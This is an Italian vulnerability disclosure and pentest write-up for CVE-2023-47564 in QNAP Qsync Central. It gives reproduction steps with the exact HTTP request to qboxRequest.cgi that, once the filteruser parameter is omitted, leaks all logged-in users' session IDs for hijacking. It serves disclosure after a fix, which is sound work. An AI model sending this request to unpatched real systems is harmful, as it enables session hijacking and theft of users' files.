
CVE-2023-47564
"È stata segnalata una vulnerabilità di assegnazione errata delle autorizzazioni per una risorsa critica che interessa Qsync Central. Se sfruttata, la vulnerabilità potrebbe consentire a utenti autenticati di leggere o modificare la risorsa tramite una rete."
Data della scoperta: 5 dicembre 2023
Data della correzione: 3 febbraio 2024
Versione/i interessata/e: Qsync Central 4.4.x, Qsync Central 4.3.x
Versione/i corretta/e: Qsync Central 4.4.0.15 (04/01/2024) e successive, Qsync Central 4.3.0.11 (11/01/2024) e successive
Sommario:
Durante un recente pentest ho avuto accesso a un sistema QNAP come utente con privilegi bassi (qui user123). Non c'erano file interessanti, quindi ho scavato un po' più a fondo.
Sul sistema era in esecuzione solo l'app Qsync Central (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer).
Prima ho cercato di trovare un elenco di tutti gli utenti disponibili e ho ispezionato la mia cronologia proxy. Mi sono imbattuto nell'endpoint /cgi-bin/qsync/qboxRequest.cgi.
Questo endpoint rivelava informazioni sul mio account utente corrente e anche il mio attuale ID di sessione (sid).
La richiesta era la seguente:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
La risposta era:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
Interessante era il parametro filteruser. L'ho semplicemente rimosso e, con mia sorpresa, è stato restituito un elenco di tutti gli utenti e dei loro ID di sessione! Così sono stato in grado di dirottare la sessione di ogni altro utente connesso. Per un PoC ho usato una delle sessioni per accedere come un utente diverso. Ho segnalato la vulnerabilità al programma Bug Bounty di QNAP. La comunicazione è stata semplice e una correzione è stata implementata rapidamente.
Passaggi per riprodurre (in dettaglio):
Accedi all'applicazione web QNAP Qsync come attaccante con un account utente normale e con privilegi bassi.
Estrai l'ID di sessione (sid) dell'attaccante dal cookie NAS_SID impostato dall'applicazione web Qsync.
Usa il valore sid dell'attaccante sia nel cookie NAS_SID che nel parametro HTTP GET sid ed esegui la seguente richiesta HTTP:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Gli ID di sessione validi di tutti gli altri utenti attualmente connessi all'applicazione web possono essere estratti dalla risposta HTTP, ad esempio:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
La seguente schermata illustra questo problema (per motivi di privacy, gli ID di sessione e le informazioni identificative sull'istanza QNAP Qsync testata sono stati oscurati):
![]() |
|---|
| Valori degli ID di sessione trapelati |
L'attaccante può utilizzare i valori sid estratti per accedere come una qualsiasi delle vittime impostando rispettivamente il cookie NAS_SID. Ciò consente all'attaccante di dirottare la sessione della vittima e scaricare qualsiasi file memorizzato sul sistema QNAP dalla vittima.